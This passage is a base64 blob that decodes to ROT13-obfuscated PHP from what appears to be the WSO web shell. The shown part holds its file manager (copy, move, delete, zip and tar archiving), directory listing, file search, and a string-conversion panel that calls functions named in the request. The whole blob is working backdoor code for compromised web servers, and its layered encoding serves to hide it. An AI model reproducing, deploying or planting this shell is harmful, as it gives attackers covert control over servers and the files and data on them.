QoJCQkJCQkJcXJ5cmdyUXZlKCR2Z3J6KTsKCQkJCQkJcnlmcgoJCQkJCQkJQGhheXZheCgkdmdyeik7CgkJCQkJfQoJCQkJCXB5YmZycXZlKCRxdSk7CgkJCQkJQGV6cXZlKCRjbmd1KTsKCQkJCX0KCQkJCXZzKHZmX25lZW5sKEAkX0NCRkdbJ3MnXSkpCgkJCQkJc2Jlcm5wdSgkX0NCRkdbJ3MnXSBuZiAkcykgewogICAgICAgICAgICAgICAgICAgICAgICB2cygkcyA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGJhZ3ZhaHI7CgkJCQkJCSRzID0gaGV5cXJwYnFyKCRzKTsKCQkJCQkJdnModmZfcXZlKCRzKSkKCQkJCQkJCXFyeXJnclF2ZSgkcyk7CgkJCQkJCXJ5ZnIKCQkJCQkJCUBoYXl2YXgoJHMpOwoJCQkJCX0KCQkJCW9lcm54OwoJCQlwbmZyICdjbmZncic6CgkJCQl2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ3BiY2wnKSB7CgkJCQkJc2hhcGd2YmEgcGJjbF9jbmZncigkcCwkZiwkcSl7CgkJCQkJCXZzKHZmX3F2ZSgkcC4kZikpewoJCQkJCQkJenhxdmUoJHEuJGYpOwoJCQkJCQkJJHUgPSBAYmNyYXF2ZSgkcC4kZik7CgkJCQkJCQlqdXZ5ciAoKCRzID0gQGVybnFxdmUoJHUpKSAhPT0gc255ZnIpCgkJCQkJCQkJdnMgKCgkcyAhPSAiLiIpIG5hcSAoJHMgIT0gIi4uIikpCgkJCQkJCQkJCXBiY2xfY25mZ3IoJHAuJGYuJy8nLCRzLCAkcS4kZi4nLycpOwoJCQkJCQl9IHJ5ZnJ2cyh2Zl9zdnlyKCRwLiRmKSkKCQkJCQkJCUBwYmNsKCRwLiRmLCAkcS4kZik7CgkJCQkJfQoJCQkJCXNiZXJucHUoJF9QQkJYVlJbJ3MnXSBuZiAkcykKCQkJCQkJcGJjbF9jbmZncigkX1BCQlhWUlsncCddLCRzLCAkVFlCT05ZRlsncGpxJ10pOwoJCQkJfSByeWZydnMoJF9QQkJYVlJbJ25wZyddID09ICd6YmlyJykgewoJCQkJCXNoYXBndmJhIHpiaXJfY25mZ3IoJHAsJGYsJHEpewoJCQkJCQl2cyh2Zl9xdmUoJHAuJGYpKXsKCQkJCQkJCXp4cXZlKCRxLiRmKTsKCQkJCQkJCSR1ID0gQGJjcmFxdmUoJHAuJGYpOwoJCQkJCQkJanV2eXIgKCgkcyA9IEBlcm5xcXZlKCR1KSkgIT09IHNueWZyKQoJCQkJCQkJCXZzICgoJHMgIT0gIi4iKSBuYXEgKCRzICE9ICIuLiIpKQoJCQkJCQkJCQlwYmNsX2NuZmdyKCRwLiRmLicvJywkcywgJHEuJGYuJy8nKTsKCQkJCQkJfSByeWZydnMoQHZmX3N2eXIoJHAuJGYpKQoJCQkJCQkJQHBiY2woJHAuJGYsICRxLiRmKTsKCQkJCQl9CgkJCQkJc2Jlcm5wdSgkX1BCQlhWUlsncyddIG5mICRzKQoJCQkJCQlAZXJhbnpyKCRfUEJCWFZSWydwJ10uJHMsICRUWUJPTllGWydwanEnXS4kcyk7CgkJCQl9IHJ5ZnJ2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ212YycpIHsKCQkJCQl2cyhweW5mZl9ya3ZmZ2YoJ012Y05lcHV2aXInKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbXZjID0gYXJqIE12Y05lcHV2aXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCRtdmMtPmJjcmEoJF9DQkZHWydjMiddLCAxKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHVxdmUoJF9QQkJYVlJbJ3AnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzYmVybnB1KCRfUEJCWFZSWydzJ10gbmYgJHMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2cygkcyA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYmFndmFocjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2cyhAdmZfc3Z5cigkX1BCQlhWUlsncCddLiRzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+bnFxU3Z5cigkX1BCQlhWUlsncCddLiRzLCAkcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnlmcnZzKEB2Zl9xdmUoJF9QQkJYVlJbJ3AnXS4kcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZncmVuZ2JlID0gYXJqIEVycGhlZnZpclZncmVuZ2JlVmdyZW5nYmUoYXJqIEVycGhlZnZpclF2ZXJwZ2JlbFZncmVuZ2JlKCRzLicvJywgU3Z5cmZsZmdyelZncmVuZ2JlOjpGWFZDX1FCR0YpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc2Jlcm5wdSAoJHZncmVuZ2JlIG5mICR4cmw9PiRpbnlocikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+bnFxU3Z5cihlcm55Y25ndSgkeHJsKSwgJHhybCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwdXF2ZSgkVFlCT05ZRlsncGpxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG12Yy0+cHliZnIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gcnlmcnZzKCRfUEJCWFZSWyducGcnXSA9PSAnaGFtdmMnKSB7CgkJCQkJdnMocHluZmZfcmt2ZmdmKCdNdmNOZXB1dmlyJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG12YyA9IGFyaiBNdmNOZXB1dmlyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNiZXJucHUoJF9QQkJYVlJbJ3MnXSBuZiAkcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdnMoJG12Yy0+YmNyYSgkX1BCQlhWUlsncCddLiRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtdmMtPnJrZ2VucGdHYigkVFlCT05ZRlsncGpxJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtdmMtPnB5YmZyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgkJCQl9IHJ5ZnJ2cygkX1BCQlhWUlsnbnBnJ10gPT0gJ2duZScpIHsKICAgICAgICAgICAgICAgICAgICBwdXF2ZSgkX1BCQlhWUlsncCddKTsKICAgICAgICAgICAgICAgICAgICAkX1BCQlhWUlsncyddID0gbmVlbmxfem5jKCdyZnBuY3JmdXJ5eW5ldCcsICRfUEJCWFZSWydzJ10pOwogICAgICAgICAgICAgICAgICAgIGpmYlJrKCdnbmUgcHNtaSAnIC4gcmZwbmNyZnVyeXluZXQoJF9DQkZHWydjMiddKSAuICcgJyAuIHZ6Y3licXIoJyAnLCAkX1BCQlhWUlsncyddKSk7CiAgICAgICAgICAgICAgICAgICAgcHVxdmUoJFRZQk9OWUZbJ3BqcSddKTsKCQkJCX0KCQkJCWhhZnJnKCRfUEJCWFZSWydzJ10pOwogICAgICAgICAgICAgICAgZnJncGJieHZyKCdzJywgJycsIGd2enIoKSAtIDM2MDApOwoJCQkJb2Vybng7CgkJCXFyc25oeWc6CiAgICAgICAgICAgICAgICB2cyghcnpjZ2woJF9DQkZHWydjMSddKSkgewoJCQkJCUpGQmZyZ3BiYnh2cignbnBnJywgJF9DQkZHWydjMSddKTsKCQkJCQlKRkJmcmdwYmJ4dnIoJ3MnLCBmcmV2bnl2bXIoQCRfQ0JGR1sncyddKSk7CgkJCQkJSkZCZnJncGJieHZyKCdwJywgQCRfQ0JGR1sncCddKTsKCQkJCX0KCQkJCW9lcm54OwoJCX0KCX0KICAgIGpmYlVybnFyZSgpOwoJcnB1YiAnPHUxPlN2eXIgem5hbnRyZTwvdTE+PHF2aSBweW5mZj1wYmFncmFnPjxmcGV2Y2c+YzFfPWMyXz1jM189IiI7PC9mcGV2Y2c+JzsKCSRxdmVQYmFncmFnID0gamZiRnBuYXF2ZSh2ZmZyZygkX0NCRkdbJ3AnXSk/JF9DQkZHWydwJ106JFRZQk9OWUZbJ3BqcSddKTsKCXZzKCRxdmVQYmFncmFnID09PSBzbnlmcikgewlycHViICdQbmFcJ2cgYmNyYSBndXZmIHNieXFyZSEnO2pmYlNiYmdyZSgpOyBlcmdoZWE7IH0KCXR5Ym9ueSAkZmJlZzsKCSRmYmVnID0gbmVlbmwoJ2FuenInLCAxKTsKCXZzKCFyemNnbCgkX0NCRkdbJ2MxJ10pKSB7CgkJdnMoY2VydF96bmdwdSgnIWZfKFtOLW1dKylfKFxxezF9KSEnLCAkX0NCRkdbJ2MxJ10sICR6bmdwdSkpCgkJCSRmYmVnID0gbmVlbmwoJHpuZ3B1WzFdLCAodmFnKSR6bmdwdVsyXSk7Cgl9CnJwdWIgIjxmcGV2Y2c+CglzaGFwZ3ZiYSBmbigpIHsKCQlzYmUodj0wO3Y8cS5zdnlyZi5yeXJ6cmFnZi55cmF0Z3U7disrKQoJCQl2cyhxLnN2eXJmLnJ5cnpyYWdmW3ZdLmdsY3IgPT0gJ3B1cnB4b2JrJykKCQkJCXEuc3Z5cmYucnlyenJhZ2Zbdl0ucHVycHhycSA9IHEuc3Z5cmYucnlyenJhZ2ZbMF0ucHVycHhycTsKCX0KPC9mcGV2Y2c+Cjxnbm95ciBqdnFndT0nMTAwJScgcHluZmY9J3pudmEnIHByeXlmY25wdmF0PScwJyBwcnl5Y25xcXZhdD0nMic+CjxzYmV6IGFuenI9c3Z5cmYgenJndWJxPWNiZmc+PGdlPjxndSBqdnFndT0nMTNjayc+PHZhY2hnIGdsY3I9cHVycHhvYmsgYmFweXZweD0nZm4oKScgcHluZmY9cHV4b2s+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfYW56cl8iLigkZmJlZ1sxXT8wOjEpLiJcIiknPkFuenI8L24+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfZnZtcl8iLigkZmJlZ1sxXT8wOjEpLiJcIiknPkZ2bXI8L24+PC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfemJxdnNsXyIuKCRmYmVnWzFdPzA6MSkuIlwiKSc+WmJxdnNsPC9uPjwvZ3U+PGd1PkJqYXJlL1RlYmhjPC9ndT48Z3U+PG4gdWVycz0nIycgYmFweXZweD0ndChcIlN2eXJmWm5hXCIsYWh5eSxcImZfY3JlemZfIi4oJGZiZWdbMV0/MDoxKS4iXCIpJz5DcmV6dmZmdmJhZjwvbj48L2d1PjxndT5OcGd2YmFmPC9ndT48L2dlPiI7CgkkcXZlZiA9ICRzdnlyZiA9IG5lZW5sKCk7CgkkYSA9IHBiaGFnKCRxdmVQYmFncmFnKTsKCXNiZSgkdj0wOyR2PCRhOyR2KyspIHsKCQl2cyhzaGFwZ3ZiYV9ya3ZmZ2YoJ2NiZnZrX3RyZ2NqaHZxJykpewoJCQkkYmogPSBAY2JmdmtfdHJnY2podnEoQHN2eXJiamFyZSgkcXZlUGJhZ3JhZ1skdl0pKTsKCQl9cnlmcnsKCQkJJGJqID0gJyc7CgkJfQoJCSR0ZSA9IEBjYmZ2a190cmd0ZXR2cShAc3Z5cnRlYmhjKCRxdmVQYmFncmFnWyR2XSkpOwoJCSRnemMgPSBuZWVubCgnYW56cicgPT4gJHF2ZVBiYWdyYWdbJHZdLAoJCQkJCSAnY25ndScgPT4gJFRZQk9OWUZbJ3BqcSddLiRxdmVQYmFncmFnWyR2XSwKCQkJCQkgJ3picXZzbCcgPT4gcW5ncignTC16LXEgVTp2OmYnLCBAc3Z5cnpndnpyKCRUWUJPTllGWydwanEnXSAuICRxdmVQYmFncmFnWyR2XSkpLAoJCQkJCSAnY3JlemYnID0+IGpmYkNyZXpmUGJ5YmUoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSwKCQkJCQkgJ2Z2bXInID0+IEBzdnlyZnZtcigkVFlCT05ZRlsncGpxJ10uJHF2ZVBiYWdyYWdbJHZdKSwKCQkJCQkgJ2JqYXJlJyA9PiAkYmpbJ2FuenInXT8kYmpbJ2FuenInXTpAc3Z5cmJqYXJlKCRxdmVQYmFncmFnWyR2XSksCgkJCQkJICd0ZWJoYycgPT4gJHRlWydhbnpyJ10/JHRlWydhbnpyJ106QHN2eXJ0ZWJoYygkcXZlUGJhZ3JhZ1skdl0pCgkJCQkJKTsKCQl2cyhAdmZfc3Z5cigkVFlCT05ZRlsncGpxJ10gLiAkcXZlUGJhZ3JhZ1skdl0pKQoJCQkkc3Z5cmZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAnc3Z5cicpKTsKCQlyeWZydnMoQHZmX3l2YXgoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSkKCQkJJHF2ZWZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAneXZheCcsICd5dmF4JyA9PiBlcm5xeXZheCgkZ3pjWydjbmd1J10pKSk7CgkJcnlmcnZzKEB2Zl9xdmUoJFRZQk9OWUZbJ3BqcSddIC4gJHF2ZVBiYWdyYWdbJHZdKSkKCQkJJHF2ZWZbXSA9IG5lZW5sX3pyZXRyKCRnemMsIG5lZW5sKCdnbGNyJyA9PiAncXZlJykpOwoJfQoJCgkkVFlCT05ZRlsnZmJlZyddID0gJGZiZWc7CglzaGFwZ3ZiYSBqZmJQemMoJG4sICRvKSB7CgkJdnMoJFRZQk9OWUZbJ2ZiZWcnXVswXSAhPSAnZnZtcicpCgkJCWVyZ2hlYSBmZ2VwemMoZmdlZ2J5YmpyZSgkblskVFlCT05ZRlsnZmJlZyddWzBdXSksIGZnZWdieWJqcmUoJG9bJFRZQk9OWUZbJ2ZiZWcnXVswXV0pKSooJFRZQk9OWUZbJ2ZiZWcnXVsxXT8xOi0xKTsKCQlyeWZyCgkJCWVyZ2hlYSAoKCRuWydmdm1yJ10gPCAkb1snZnZtciddKSA/IC0xIDogMSkqKCRUWUJPTllGWydmYmVnJ11bMV0/MTotMSk7Cgl9CgloZmJlZygkc3Z5cmYsICJqZmJQemMiKTsKCWhmYmVnKCRxdmVmLCAiamZiUHpjIik7Cgkkc3Z5cmYgPSBuZWVubF96cmV0cigkcXZlZiwgJHN2eXJmKTsKCSR5ID0gMDsKCXNiZXJucHUoJHN2eXJmIG5mICRzKSB7CgkJcnB1YiAnPGdlJy4oJHk/JyBweW5mZj15MSc6JycpLic+PGdxPjx2YWNoZyBnbGNyPXB1cnB4b2JrIGFuenI9InNbXSIgaW55aHI9IicuaGV5cmFwYnFyKCRzWydhbnpyJ10pLiciIHB5bmZmPXB1eG9rPjwvZ3E+PGdxPjxuIHVlcnM9IyBiYXB5dnB4PSInLigoJHNbJ2dsY3InXT09J3N2eXInKT8ndChcJ1N2eXJmR2JieWZcJyxhaHl5LFwnJy5oZXlyYXBicXIoJHNbJ2FuenInXSkuJ1wnLCBcJ2l2cmpcJykiPicudWd6eWZjcnB2bnlwdW5lZigkc1snYW56ciddKTondChcJ1N2eXJmWm5hXCcsXCcnLiRzWydjbmd1J10uJ1wnKTsiICcgLiAocnpjZ2wgKCRzWyd5dmF4J10pID8gJycgOiAiZ3ZneXI9J3skc1sneXZheCddfSciKSAuICc+PG8+WyAnIC4gdWd6eWZjcnB2bnlwdW5lZigkc1snYW56ciddKSAuICcgXTwvbz4nKS4nPC9uPjwvZ3E+PGdxPicuKCgkc1snZ2xjciddPT0nc3Z5cicpP2pmYkl2cmpGdm1yKCRzWydmdm1yJ10pOiRzWydnbGNyJ10pLic8L2dxPjxncT4nLiRzWyd6YnF2c2wnXS4nPC9ncT48Z3E+Jy4kc1snYmphcmUnXS4nLycuJHNbJ3RlYmhjJ10uJzwvZ3E+PGdxPjxuIHVlcnM9IyBiYXB5dnB4PSJ0KFwnU3Z5cmZHYmJ5ZlwnLGFoeXksXCcnLmhleXJhcGJxcigkc1snYW56ciddKS4nXCcsXCdwdXpicVwnKSI+Jy4kc1snY3JlemYnXQoJCQkuJzwvZ3E+PGdxPjxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdlcmFuenJcJykiPkU8L24+IDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdnYmhwdVwnKSI+Rzwvbj4nLigoJHNbJ2dsY3InXT09J3N2eXInKT8nIDxuIHVlcnM9IiMiIGJhcHl2cHg9InQoXCdTdnlyZkdiYnlmXCcsYWh5eSxcJycuaGV5cmFwYnFyKCRzWydhbnpyJ10pLidcJywgXCdycXZnXCcpIj5SPC9uPiA8biB1ZXJzPSIjIiBiYXB5dnB4PSJ0KFwnU3Z5cmZHYmJ5ZlwnLGFoeXksXCcnLmhleXJhcGJxcigkc1snYW56ciddKS4nXCcsIFwncWJqYXlibnFcJykiPlE8L24+JzonJykuJzwvZ3E+PC9nZT4nOwoJCSR5ID0gJHk/MDoxOwoJfQoJcnB1YiAiPGdlPjxncSBwYnlmY25hPTc+Cgk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1uIGlueWhyPSdTdnlyZlpuYSc+Cgk8dmFjaGcgZ2xjcj11dnFxcmEgYW56cj1wIGlueWhyPSciIC4gdWd6eWZjcnB2bnlwdW5lZigkVFlCT05ZRlsncGpxJ10pIC4iJz4KCTx2YWNoZyBnbGNyPXV2cXFyYSBhbnpyPXB1bmVmcmcgaW55aHI9JyIuICh2ZmZyZygkX0NCRkdbJ3B1bmVmcmcnXSk/JF9DQkZHWydwdW5lZnJnJ106JycpLiInPgoJPGZyeXJwZyBhbnpyPSdjMSc+PGJjZ3ZiYSBpbnlocj0ncGJjbCc+UGJjbDwvYmNndmJhPjxiY2d2YmEgaW55aHI9J3piaXInPlpiaXI8L2JjZ3ZiYT48YmNndmJhIGlueWhyPSdxcnlyZ3InPlFyeXJncjwvYmNndmJhPiI7CiAgICB2cyhweW5mZl9ya3ZmZ2YoJ012Y05lcHV2aXInKSkKICAgICAgICBycHViICI8YmNndmJhIGlueWhyPSdtdmMnPlBiemNlcmZmIChtdmMpPC9iY2d2YmE+PGJjZ3ZiYSBpbnlocj0naGFtdmMnPkhhcGJ6Y2VyZmYgKG12Yyk8L2JjZ3ZiYT4iOwogICAgcnB1YiAiPGJjZ3ZiYSBpbnlocj0nZ25lJz5QYnpjZXJmZiAoZ25lLnRtKTwvYmNndmJhPiI7CiAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoInRyZ196bnR2cF9kaGJncmZfdGNwIikgJiYgIXJ6Y2dsKCRfUEJCWFZSWyducGcnXSkgJiYgQHBiaGFnKCRfUEJCWFZSWydzJ10pKQogICAgICAgIHJwdWIgIjxiY2d2YmEgaW55aHI9J2NuZmdyJz5DbmZnciAvIFBiemNlcmZmPC9iY2d2YmE+IjsKICAgIHJwdWIgIjwvZnJ5cnBnPiZhb2ZjOyI7CiAgICB2cyhzaGFwZ3ZiYV9ya3ZmZ2YoInRyZ196bnR2cF9kaGJncmZfdGNwIikgJiYgIXJ6Y2dsKCRfUEJCWFZSWyducGcnXSkgJiYgQHBiaGFnKCRfUEJCWFZSWydzJ10pICYmICgoJF9QQkJYVlJbJ25wZyddID09ICdtdmMnKSB8fCAoJF9QQkJYVlJbJ25wZyddID09ICdnbmUnKSkpCiAgICAgICAgcnB1YiAic3Z5ciBhbnpyOiA8dmFjaGcgZ2xjcj1ncmtnIGFuenI9YzIgaW55aHI9J2pmYl8iIC4gcW5ncigiTHpxX1V2ZiIpIC4gIi4iIC4gKCRfUEJCWFZSWyducGcnXSA9PSAnbXZjJz8nbXZjJzonZ25lLnRtJykgLiAiJz4mYW9mYzsiOwogICAgcnB1YiAiPHZhY2hnIGdsY3I9J2Zob3p2ZycgaW55aHI9Jz4+Jz48L2dxPjwvZ2U+PC9zYmV6PjwvZ25veXI+PC9xdmk+IjsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFGZ2V2YXRHYmJ5ZigpIHsKCXZzKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ3VyazJvdmEnKSkge3NoYXBndmJhIHVyazJvdmEoJGMpIHtlcmdoZWEgcXJwb3ZhKHVya3FycCgkYykpO319CiAgICB2cyghc2hhcGd2YmFfcmt2ZmdmKCdvdmF1cmsnKSkge3NoYXBndmJhIG92YXVyaygkYykge2VyZ2hlYSBxcnB1cmsob3ZhcXJwKCRjKSk7fX0KCXZzKCFzaGFwZ3ZiYV9ya3ZmZ2YoJ3VyazJuZnB2dicpKSB7c2hhcGd2YmEgdXJrMm5mcHZ2KCRjKXskZT0nJztzYmUoJHY9MDskdjxmZ2VZcmEoJGMpOyR2Kz0yKXskZS49cHVlKHVya3FycCgkY1skdl0uJGNbJHYrMV0pKTt9ZXJnaGVhICRlO319Cgl2cyghc2hhcGd2YmFfcmt2ZmdmKCduZnB2djJ1cmsnKSkge3NoYXBndmJhIG5mcHZ2MnVyaygkYyl7JGU9Jyc7c2JlKCR2PTA7JHY8ZmdleXJhKCRjKTsrKyR2KSRlLj0gZmNldmFncygnJTAySycsYmVxKCRjWyR2XSkpO2VyZ2hlYSBmZ2VnYmhjY3JlKCRlKTt9fQoJdnMoIXNoYXBndmJhX3JrdmZnZignc2h5eV9oZXlyYXBicXInKSkge3NoYXBndmJhIHNoeXlfaGV5cmFwYnFyKCRjKXskZT0nJztzYmUoJHY9MDskdjxmZ2V5cmEoJGMpOysrJHYpJGUuPSAnJScucXJwdXJrKGJlcSgkY1skdl0pKTtlcmdoZWEgZmdlZ2JoY2NyZSgkZSk7fX0KCSRmZ2V2YXRHYmJ5ZiA9IG5lZW5sKAoJCSdPbmZyNjQgcmFwYnFyJyA9PiAnb25mcjY0X3JhcGJxcicsCgkJJ09uZnI2NCBxcnBicXInID0+ICdvbmZyNjRfcXJwYnFyJywKCQknSGV5IHJhcGJxcicgPT4gJ2hleXJhcGJxcicsCgkJJ0hleSBxcnBicXInID0+ICdoZXlxcnBicXInLAoJCSdTaHl5IGhleXJhcGJxcicgPT4gJ3NoeXlfaGV5cmFwYnFyJywKCQknenE1IHVuZnUnID0+ICd6cTUnLAoJCSdmdW4xIHVuZnUnID0+ICdmdW4xJywKCQkncGVsY2cnID0+ICdwZWxjZycsCgkJJ1BFUDMyJyA9PiAncGVwMzInLAoJCSdORlBWViBnYiBVUksnID0+ICduZnB2djJ1cmsnLAoJCSdVUksgZ2IgTkZQVlYnID0+ICd1cmsybmZwdnYnLAoJCSdVUksgZ2IgUVJQJyA9PiAndXJrcXJwJywKCQknVVJLIGdiIE9WQScgPT4gJ3VyazJvdmEnLAoJCSdRUlAgZ2IgVVJLJyA9PiAncXJwdXJrJywKCQknUVJQIGdiIE9WQScgPT4gJ3FycG92YScsCgkJJ09WQSBnYiBVUksnID0+ICdvdmF1cmsnLAoJCSdPVkEgZ2IgUVJQJyA9PiAnb3ZhcXJwJywKCQknRmdldmF0IGdiIHlianJlIHBuZnInID0+ICdmZ2VnYnlianJlJywKCQknRmdldmF0IGdiIGhjY3JlIHBuZnInID0+ICdmZ2VnYmhjY3JlJywKCQknVWd6eWZjcnB2bnlwdW5lZicgPT4gJ3VnenlmY3Jwdm55cHVuZWYnLAoJCSdGZ2V2YXQgeXJhdGd1JyA9PiAnZmdleXJhJywKCSk7Cgl2cyh2ZmZyZygkX0NCRkdbJ253bmsnXSkpIHsKCQlKRkJmcmdwYmJ4dnIoenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnLCBnZWhyKTsKCQlib19mZ25lZygpOwoJCXZzKHZhX25lZW5sKCRfQ0JGR1snYzEnXSwgJGZnZXZhdEdiYnlmKSkKCQkJcnB1YiAkX0NCRkdbJ2MxJ10oJF9DQkZHWydjMiddKTsKCQkkZ3J6YyA9ICJxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZmdlQmhnY2hnJykuZmdseXIucXZmY3lubD0nJztxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZmdlQmhnY2hnJykudmFhcmVVR1pZPSciLm5xcXBmeW5mdXJmKHVnenlmY3Jwdm55cHVuZWYoYm9fdHJnX3B5cm5hKCkpLCJcYVxlXGdcXCdcMCIpLiInO1xhIjsKCQlycHViIGZnZXlyYSgkZ3J6YyksICJcYSIsICRncnpjOwoJCXJrdmc7Cgl9CiAgICB2cyhyemNnbCgkX0NCRkdbJ253bmsnXSkmJiFyemNnbCgkX0NCRkdbJ2MxJ10pKQoJCUpGQmZyZ3BiYnh2cih6cTUoJF9GUkVJUkVbJ1VHR0NfVUJGRyddKS4nbnduaycsIDApOwoJamZiVXJucXJlKCk7CglycHViICc8dTE+RmdldmF0IHBiYWlyZWZ2YmFmPC91MT48cXZpIHB5bmZmPXBiYWdyYWc+JzsKCXJwdWIgIjxzYmV6IGFuenI9J2diYnlmU2JleicgYmFGaG96dmc9J3ZzKGd1dmYubnduay5wdXJweHJxKXtuKGFoeXksYWh5eSxndXZmLmZyeXJwZ0diYnkuaW55aHIsZ3V2Zi52YWNoZy5pbnlocik7fXJ5ZnJ7dChhaHl5LGFoeXksZ3V2Zi5mcnlycGdHYmJ5LmlueWhyLGd1dmYudmFjaGcuaW55aHIpO30gZXJnaGVhIHNueWZyOyc+PGZyeXJwZyBhbnpyPSdmcnlycGdHYmJ5Jz4iOwoJc2Jlcm5wdSgkZmdldmF0R2JieWYgbmYgJHggPT4gJGkpCgkJcnB1YiAiPGJjZ3ZiYSBpbnlocj0nIi51Z3p5ZmNycHZueXB1bmVmKCRpKS4iJz4iLiR4LiI8L2JjZ3ZiYT4iOwoJCXJwdWIgIjwvZnJ5cnBnPjx2YWNoZyBnbGNyPSdmaG96dmcnIGlueWhyPSc+PicvPiA8dmFjaGcgZ2xjcj1wdXJweG9iayBhbnpyPW53bmsgaW55aHI9MSAiLihAJF9QQkJYVlJbenE1KCRfRlJFSVJFWydVR0dDX1VCRkcnXSkuJ253bmsnXT8ncHVycHhycSc6JycpLiI+IGZyYXEgaGZ2YXQgTldOSzxvZT48Z3JrZ25lcm4gYW56cj0ndmFjaGcnIGZnbHlyPSd6bmV0dmEtZ2JjOjVjaycgcHluZmY9b3Z0bmVybj4iLihyemNnbCgkX0NCRkdbJ2MxJ10pPycnOnVnenlmY3Jwdm55cHVuZWYoQCRfQ0JGR1snYzInXSkpLiI8L2dya2duZXJuPjwvc2Jlej48Y2VyIHB5bmZmPSd6eTEnIGZnbHlyPSciLihyemNnbCgkX0NCRkdbJ2MxJ10pPydxdmZjeW5sOmFiYXI7JzonJykuInpuZXR2YS1nYmM6NWNrJyB2cT0nZmdlQmhnY2hnJz4iOwoJdnMoIXJ6Y2dsKCRfQ0JGR1snYzEnXSkpIHsKCQl2cyh2YV9uZWVubCgkX0NCRkdbJ2MxJ10sICRmZ2V2YXRHYmJ5ZikpcnB1YiB1Z3p5ZmNycHZueXB1bmVmKCRfQ0JGR1snYzEnXSgkX0NCRkdbJ2MyJ10pKTsKCX0KCXJwdWIiPC9jZXI+PC9xdmk+PG9lPjx1MT5Gcm5lcHUgc3Z5cmY6PC91MT48cXZpIHB5bmZmPXBiYWdyYWc+CgkJPHNiZXogYmFmaG96dmc9XCJ0KGFoeXksZ3V2Zi5wanEuaW55aHIsYWh5eSxndXZmLmdya2cuaW55aHIsZ3V2Zi5zdnlyYW56ci5pbnlocik7ZXJnaGVhIHNueWZyO1wiPjxnbm95ciBwcnl5Y25xcXZhdD0nMScgcHJ5eWZjbnB2YXQ9JzAnIGp2cWd1PSc1MCUnPgoJCQk8Z2U+PGdxIGp2cWd1PScxJSc+R3JrZzo8L2dxPjxncT48dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0nZ3JrZycgZmdseXI9J2p2cWd1OjEwMCUnPjwvZ3E+PC9nZT4KCQkJPGdlPjxncT5Dbmd1OjwvZ3E+PGdxPjx2YWNoZyBnbGNyPSdncmtnJyBhbnpyPSdwanEnIGlueWhyPSciLiB1Z3p5ZmNycHZueXB1bmVmKCRUWUJPTllGWydwanEnXSkgLiInIGZnbHlyPSdqdnFndToxMDAlJz48L2dxPjwvZ2U+CgkJCTxnZT48Z3E+QW56cjo8L2dxPjxncT48dmFjaGcgZ2xjcj0nZ3JrZycgYW56cj0nc3Z5cmFuenInIGlueWhyPScqJyBmZ2x5cj0nanZxZ3U6MTAwJSc+PC9ncT48L2dlPgoJCQk8Z2U+PGdxPjwvZ3E+PGdxPjx2YWNoZyBnbGNyPSdmaG96dmcnIGlueWhyPSc+Pic+PC9ncT48L2dlPgoJCQk8L2dub3lyPjwvc2Jlej4iOwoKCXNoYXBndmJhIGpmYkVycGhlZnZpclR5Ym8oJGNuZ3UpIHsKCQl2cyhmaG9mZ2Uo